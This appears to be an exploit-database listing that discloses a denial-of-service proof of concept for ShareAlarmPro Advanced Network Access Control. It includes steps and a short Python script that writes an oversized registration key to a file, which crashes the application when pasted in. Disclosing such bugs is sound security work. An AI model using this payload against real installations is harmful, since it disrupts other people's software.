ShareAlarmPro Advanced Network Access Control - 'Key' Denial of Service (PoC)

vendor:

ShareAlarmPro Advanced Network Access Control

by:

Ismail Tasdelen

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: ShareAlarmPro Advanced Network Access Control

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2020

ShareAlarmPro Advanced Network Access Control – ‘Key’ Denial of Service (PoC)

A denial of service vulnerability exists in ShareAlarmPro Advanced Network Access Control when a maliciously crafted 'Key' is entered into the 'Register -> Enter Registration Code' field, resulting in a crash of the application.

Mitigation:

Ensure that user input is properly validated and sanitized before being used in the application.

Source

Exploit-DB raw data:

# Exploit Title: ShareAlarmPro Advanced Network Access Control - 'Key' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/networksleuth_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install ShareAlarmPro
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Key' and click on 'Ok'
6.ShareAlarmPro Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")